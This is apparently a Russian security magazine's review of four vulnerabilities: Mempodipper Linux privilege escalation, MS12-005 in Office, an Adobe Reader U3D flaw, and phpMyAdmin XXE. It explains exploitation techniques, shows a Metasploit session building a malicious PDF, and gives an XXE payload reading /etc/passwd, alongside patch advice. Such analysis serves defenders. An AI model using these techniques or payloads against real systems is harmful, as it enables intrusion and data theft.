В этом интереснейшем обзоре мы рассматриваем свежую уязвимость в ядрах Linux, позволяющую без особого труда поднять привилегии в системе, баги в Microsoft Office и Acrobat Reader, а также XXE-инъекцию в phpMyAdmin. Не пропусти!

 

Локальное повышение привилегий в Linux

  • CVSSv2 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)

BRIEF

Уязвимость связана с интерфейсом /proc//mem (где — идентификатор нужного процесса), который Linux предоставляет для прямой записи в память процесса и чтения из нее. В ядре версии 2.6.39 разработчики убрали директиву #ifdef, исключающую прямую запись в память процесса, поскольку сочли, что этот интерфейс уже достаточно защищен от неавторизованного доступа с помощью других механизмов ядра. На самом деле писать в память процесса может любой пользователь, обладающий достаточными правами. Как оказалось, эти права проверяются не совсем корректно. В итоге получилось то, что получилось: во всех версиях ядра, начиная с 2.6.39, злоумышленник может продвинуть по «карьерной лестнице» до рута любого имеющегося пользователя.

 

WARNING

Информация представлена исключительно для ознакомления. Редакция не несет ответственности за ее использование в противозаконных целях. Подобные действия влекут за собой уголовное преследование.

EXPLOIT

При открытии интерфейса /proc//mem выполняется такой код:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

Стало быть, на открытие нет никаких ограничений — любой может это сделать. Однако на запись и чтение некоторые ограничения всё-таки установлены. Обратимся к коду функции, которая осуществляет запись (приведена только наиболее важная часть функции):

static ssize_t mem_write(struct file * file, const char __user *buf,
  size_t count, loff_t *ppos)
{
/* ... */   
    struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* ... */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* ... */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* ... */

Здесь проводятся две проверки для предотвращения неавторизованной записи: check_mem_permission и self_exec_id. Функция check_mem_permission является простой оберткой для__check_mem_permission, вот что она делает:

static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

    if (task == current)
        return mm;

if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}

mmput(mm);
return ERR_PTR(-EPERM);
}

Чтобы запись прошла успешно, ее должен осуществлять либо сам процесс (task == current), либо родитель, трассирующий этот процесс через ptrace. Различные трюки с ptrace не увенчались успехом, поэтому рассмотрим вариант с task == current. Что если процесс сам запишет нужные нам данные себе в память? Очевидно, что нас в первую очередь интересуют процессы с атрибутом suid. Рассмотрим su:

$ su "yeeeee haw I am a cowboy"
su: user yeeeee haw I am a cowboy does not exist

Легко заметить, что на stderr выдается строка, созданная с нашим участием. Казалось бы, мы можем открыть /proc//mem, с помощью lseek() найти нужное место в памяти, с помощью dup2() связать стандартный поток ошибок и файловый дескриптор открытого /proc//mem, записать нужные данные, а затем исполнить шелл-код. Однако не всё так просто. Здесь выполняется вторая проверка, в ходе которой текущее значение self_exec_id сравнивается со значением, с помощью которого был создан файловый дескриптор /proc//mem. Значение self_exec_id инкрементируется при каждом запуске процесса, поэтому мы не можем получить доступ к памяти вышеизложенным способом.

Тем не менее, эту проверку можно обойти: с помощью fork() мы создаем потомка и внутри него с помощью exec() стартуем новый процесс. Наш форкнутый процесс имеет значение self_exec_id, равное ее значению у предка. Когда мы запускаем exec(), self_exec_id увеличивается на единицу. В нашем потомке мы открываем память предка и создаем файловый дескриптор для /proc//mem, благо на открытие нет проверок. В предке тем временем запускаем su через exec(), таким образом уравнивая значения self_exec_id. Далее с помощью, как выразился сам создатель эксплоита, «очень черной магии сокетов Юникс» передаем предку открытый файловый дескриптор от потомка и возвращаемся к вышеупомянутому сценарию dup2 -> exec.

Осталось понять, по какому адресу делать запись. По идее, ASLR должен затруднить нашу задачу, однако взгляни на это:

$ readelf -h /bin/su | grep Type
Type:  EXEC (Executable file)

Вывод нам как бы намекает, что программа su использует статический адрес секции .text (в ином случае был бы тип DYN, а не EXEC). Это означает, что su в большинстве дистрибутивов скомпилирована без использования PIE, следовательно, ASLR для секции .text работать не будет, что упрощает написание эксплоита.

Исходный код эксплоита Mempodipper доступен на exploit-db.com, EDB-ID 18411. Пример его использования представлен на скриншоте.

TARGETS

Linux >=2.6.39, 32- и 64-битные.

SOLUTION

Доверь обновление ядра своему пакетному менеджеру или установи патч вручную.

Пример работы эксплоита Mempodipper
Пример работы эксплоита Mempodipper
 

MS12-005 Уязвимость процесса сборки

  • CVSSv2 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

BRIEF

Найденная уязвимость позволяет выполнить произвольный код на удаленной системе с правами текущего пользователя. Для этого пользователь уязвимой системы должен зайти на специально сформированную web-страницу или открыть злонамеренный файл Office. Уязвимость присутствует в механизме безопасности Object Packager. Дело в том, что Object Packager считает ClickOnce-файл безопасным, благодаря чему файл такого типа можно внедрить в документ Office. Когда пользователь уязвимой системы открывает документ, внедренный файл автоматически выполняется. Напомню, что ClickOnce — это технология развертывания, позволяющая создавать самообновляемые приложения Windows, которые могут устанавливаться и запускаться при минимальном вмешательстве пользователя. Существует три способа публикации приложения ClickOnce: с веб-страницы, общего сетевого ресурса или носителя, например компакт-диска. Его можно установить на компьютер конечного пользователя и запустить локально, даже если компьютер не подключен к сети, или запустить в оперативном режиме, без установки каких-либо компонентов на компьютер конечного пользователя. При этом приложения ClickOnce могут обновляться самостоятельно, проверяя наличие доступных новых версий и автоматически заменяя все обновленные файлы.

Для реализации атаки в данном случае используем специальным образом сформированный файл презентации PowerPoint. Эта программа позволяет назначить Custom Animation’ы для OLE-пакетов. В отличие от обычных анимаций, мы можем задать две специфичные для OLE анимации (которые называются Object Actions): Activate Contents (активировать содержимое) и Edit Package (редактировать пакет). При Activate Contents выполняются те же действия, что и при двойном щелчке пользователя по встроенному объекту. Таким образом, Custom Animation’ы позволяют выполнять указанные последовательности действий, требуемых для запуска встроенного ClickOnce-приложения с полными правами доступа (Full Trust).

В результате выполнения описанных выше действий на экране появится ряд диалоговых окон. Однако пользователю не нужно ничего с ними делать. Custom Animation’ы выполняются, когда PowerPoint работает в режиме показа слайдов. Когда PowerPoint находится в полноэкранном режиме, после выполнения каждого действия анимации происходит восстановление фокуса. После запуска ClickOnce-приложения мы можем посылать сообщения диалоговым окнам, чтобы закрыть их.

EXPLOIT

Уязвимость, описанная в MS12-005, затрагивает два аспекта:

  1. Метод определения исполняемого файла. Непропатченный packager.dll определяет, является ли файл исполняемым, сопоставляя расширения файлов с элементами таблицы (для удобства назовем ее execExtTable).
    .text:02FA1D98 execExtTable dd offset a_exe ; DATA XREF: CPackage::_GetCurrentIcon(_IC *)+69|o
    .text:02FA1D98 ; CPackage::_GiveWarningMsg(HWND__ *)+5E|o
    .text:02FA1D98 ; “.exe”
    .text:02FA1D9C dd offset a_com ; “.com”
    .text:02FA1DA0 dd offset a_bat ; “.bat”
    .text:02FA1DA4 dd offset a_lnk ; “.lnk”
    .text:02FA1DA8 dd offset a_cmd ; “.cmd”
    .text:02FA1DAC dd offset a_pif ; “.pif”
    .text:02FA1DB0 dd offset a_scr ; “.scr”
    .text:02FA1DB4 dd offset a_js ; “.js”
    .text:02FA1DB8 dd offset a_jse ; “.jse”
    .text:02FA1DBC dd offset a_vbs ; “.vbs”
    .text:02FA1DC0 dd offset a_vbe ; “.vbe”
    .text:02FA1DC4 dd offset a_wsh ; “.wsh”
    .text:02FA1DC8 dd offset a_sct ; “.sct”
    .text:02FA1DCC dd offset a_vb ; “.vb”
    .text:02FA1DD0 dd offset a_wsc ; “.wsc”
    .text:02FA1DD4 dd offset a_wsf ; “.wsf”
    .text:02FA1DD8 dd offset a_wmz ; “.wmz”
    

    Просто прокручиваем в цикле эту таблицу и смотрим, имеет ли встроенный файл такое же расширение, как и элемент таблицы. Для этого используется функция IsProgIDInList:

    .text:02FA72F4 push 11h ; int
    .text:02FA72F6 push offset execExtTable ; dangerousTable
    .text:02FA72FB push esi ; pExtName
    .text:02FA72FC push 0 ; int
    .text:02FA72FE call ?IsProgIDInList@@YGHPBG0PBQBGI@Z ; IsProgIDInList(ushort const *,ushort const *,ushort const * const *,uint)
    

    Нюанс состоит в том, что в таблице приведена лишь часть существующих расширений для исполняемых файлов. В качестве примера можно взять py или pl. MS12-005 обходит эту проблему с помощью функции AssocIsDangerous(), которая проверяет расширения исполняемых файлов:

    .text:02FA6A11 push eax
    .text:02FA6A12 call ds:__imp__AssocIsDangerous@4 ; AssocIsDangerous(x)
    .text:02FA6A18 test eax, eax
    .text:02FA6A1A jnz short loc_2FA6A42
    
  2. Вывод предупреждений системы безопасности пользователю. Пропатченный packager.dll выдает предупреждения, только если файл является исполняемым. Но рассмотрим функцию CPackage___GiveWarningMsg(HWND hWnd). Она вновь проходит по таблице execExtTable, и, если расширение встроенного файла не содержится в execExtTable, никаких предупреждений не выдается.

TARGETS

Windows XP, Windows Vista, Windows Server 2008 SP2, Windows 7.

SOLUTION

Существует обновление, устраняющее эту уязвимость.

Результат эксплуатации уязвимости — запущенный Python-скрипт
Результат эксплуатации уязвимости — запущенный Python-скрипт
 

Уязвимость в Adobe Reader при обработке U3D-данных

  • CVSSv2 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)

BRIEF

Уязвимость вызвана ошибкой при обработке U3D-данных. Такая ошибка может привести к сбою. При успешной эксплуатации эта уязвимость позволяет злоумышленникам установить полный контроль над системой. Для обхода DEP используется ROP-цепочка, основанная на библиотеке icucnv36.dll. Для обхода ASLR выполняется JavaScript-код, реализующий технику heap spraying. Кратко опишем U3D-компоненты, чтобы лучше понимать, какие из них использует сплоит:

  • U3D — на текущий момент единственный поддерживаемый подтип и 3D-объект.
  • 3DD (необходим) — определяет поток или словарь с 3D-данными, подлежащими рендерингу.
  • 3DA (необязателен) — словарь активации, определяющий время, когда следует показывать 3D-данные.
  • 3DI (необязателен) — переменная логического типа, определяющая основной режим использования. Значение true соответствует интерактивному режиму, false — взаимодействию через JavaScript.
  • DIS (необязателен) — имя, определяющее состояние 3D-данных при деактивации.
  • A — имя, под которым должна быть активирована аннотация.
  • PO — аннотация должна активироваться, как только открывается страница, содержащая аннотацию на 3D-данные.

EXPLOIT

Последовательность запуска объектов:

  • Объект 4 — действие OpenAction инициирует обращение к JavaScript.
  • Объект 14 — JavaScript ссылается на объект 15.
  • Объект 15 — JavaScript-код применяет технику heap spraying, затем переходит на вторую страницу.
  • Объект 11 — определение 3D-данных и описание их форматирования.
  • Объект 10 — 3D-данные, которые будут показываться (вероятно, поврежденные).

Объекты, на которые следует обратить внимание:

  • Объект 10 — ссылается на именованные словари (/3D, /U3D).
  • Объект 11 — ссылается на именованные словари (/3DI, /3DD, /3D, /3DA).
  • Объект 15 — содержит JavaScript-код для реализации heap spraying и перенаправления на вторую страницу (инициирует процесс отображения 3D-данных).

Сплоит реализован в Metasploit (пример с полезной нагрузкой в виде запуска калькулятора):

msf > use exploit/windows/fileformat/adobe_reader_u3d
msf  exploit(adobe_reader_u3d) > set payload windows/exec
payload => windows/exec
msf  exploit(adobe_reader_u3d) > set cmd calc.exe
cmd => calc.exe
msf  exploit(adobe_reader_u3d) > show options
Module options (exploit/windows/fileformat/adobe_reader_u3d):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   FILENAME   msf.pdf  yes   The file name.
   OBFUSCATE  falsenoEnable JavaScript obfuscation

Payload options (windows/exec):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   calc.exe yes   The command string to execute
   EXITFUNC  process  yes   Exit technique: seh, thread, process, none

Exploit target:
   Id  Name
   --  ----
   0   Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3

msf  exploit(adobe_reader_u3d) > exploit 
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /home/pikofarad/.msf4/local/msf.pdf

TARGETS

Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 под Windows XP SP3.

SOLUTION

Существует обновление, устраняющее эту уязвимость.

Вредоносное содержимое 3D-объекта в теле pdf-файла
Вредоносное содержимое 3D-объекта в теле pdf-файла
 

LFI в phpMyAdmin через XXE-инъекцию

  • CVSSv2 5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

BRIEF

В начале года исследователь Marco Batista опубликовал весьма интересную уязвимость типа Local File Including. Эксплуатируется она нетривиально, через XXE-инъекцию (XXE — XML eXternal Entity), которая представляет собой разновидность XML-инъекции. Напомню, что при помощи XML-инъекции (например, GET-запроса к веб-серверу) можно изменить содержимое XML-документа. Обычно интерес представляют файлы базы данных xmlDB, где содержится информация о пользователях:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users> 
<user> 
<username>gandalf</username>
<password>!c3</password> 
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user> 
<user> 
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username> 
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users>

Смышленый читатель без труда проведет аналогию с SQL-инъекциями, а я тем временем перейду непосредственно к инъекциям подтипа XXE. В документах XML существуют так называемые примитивы (entities), которые объявляются в начале документа в области DTD. Существует несколько видов примитивов, но сейчас нас интересуют только внешние (external entities). Если в определении примитива присутствует URI, то он называется внешним. Соответственно, парсер должен получить доступ к этому URI и включить его содержимое в документ, если это было задано, например, так:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo
[
<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///etc/passwd" >
]
>
<foo>&bar;</foo>

Здесь определяется примитив bar, который ссылается на файл /etc/passwd, и при обработке документа его содержимое включается в него. Кстати говоря, в XML-документ можно не только включать локальные и удаленные файлы. В нем можно запускать исполняемые файлы, если парсеру разрешено это делать. По стандарту это выглядит примерно так:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo
    [
    <!ELEMENT foo ANY>
    <!NOTATION GIF SYSTEM "http://my-cool-site.com/ShowGif.exe">
    <!ENTITY bar SYSTEM "http://not-my-cool-site.com/bar.gif" NDATA GIF>
    ]
>
<foo>&bar;</foo>

В этом документе с помощью программы ShowGif.exe обрабатывается рисунок bar.gif. В некоторых случаях мы можем внедрить подобную конструкцию через XML-инъекцию и выполнить требуемый код. Более подробная инфа об XML-инъекциях есть на сайте OWASP.

EXPLOIT

В phpMyAdmin имеется функция импорта базы данных из заданного пользователем XML-файла. Уязвимость заключается в том, что после загрузки специально сформированного XML-документа атакующий получает возможность (ограниченную правами веб-сервера) прочитать произвольный файл в системе или локальной сети.

Уязвимость находится в файле libraries\import\xml.php, где функция simplexml_load_string() вызывается без проверки на существование ссылки на внешний примитив:

$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);

Патченные версии phpMyAdmin для предотвращения инъекции используют функцию libxml_disable_entity_loader(), прежде чем загружать XML-документ. Компания SECFORCE разработала модуль к Metasploit для эксплуатации этой уязвимости. Он автоматизирует процесс LFI следующим образом:

  1. Логинится в phpMyAdmin с помощью предоставленных реквизитов.
  2. Создает XML-документ, применяя XXE-инъекции для заданного файла.
  3. Загружает файл с XML-документом.
  4. Получает указанный файл с сервера.

Возможные опции эксплоита и пример успешной эксплуатации показаны на скриншоте.

TARGETS

PhpMyAdmin 3.4.x вплоть до 3.4.7.1 и 3.3.x вплоть до 3.3.10.5.

SOLUTION

Обновиться минимум до версии phpMyAdmin 3.4.7.1 (3.3.10.5) или установить соответствующий патч.

Оставить мнение

Check Also

Как Apple обходит стандарты, заставляя тебя платить. Колонка Олега Афонина

Иногда сложные вещи начинаются с простых: планшет iPad Pro 10.5 вдруг перестал заряжаться …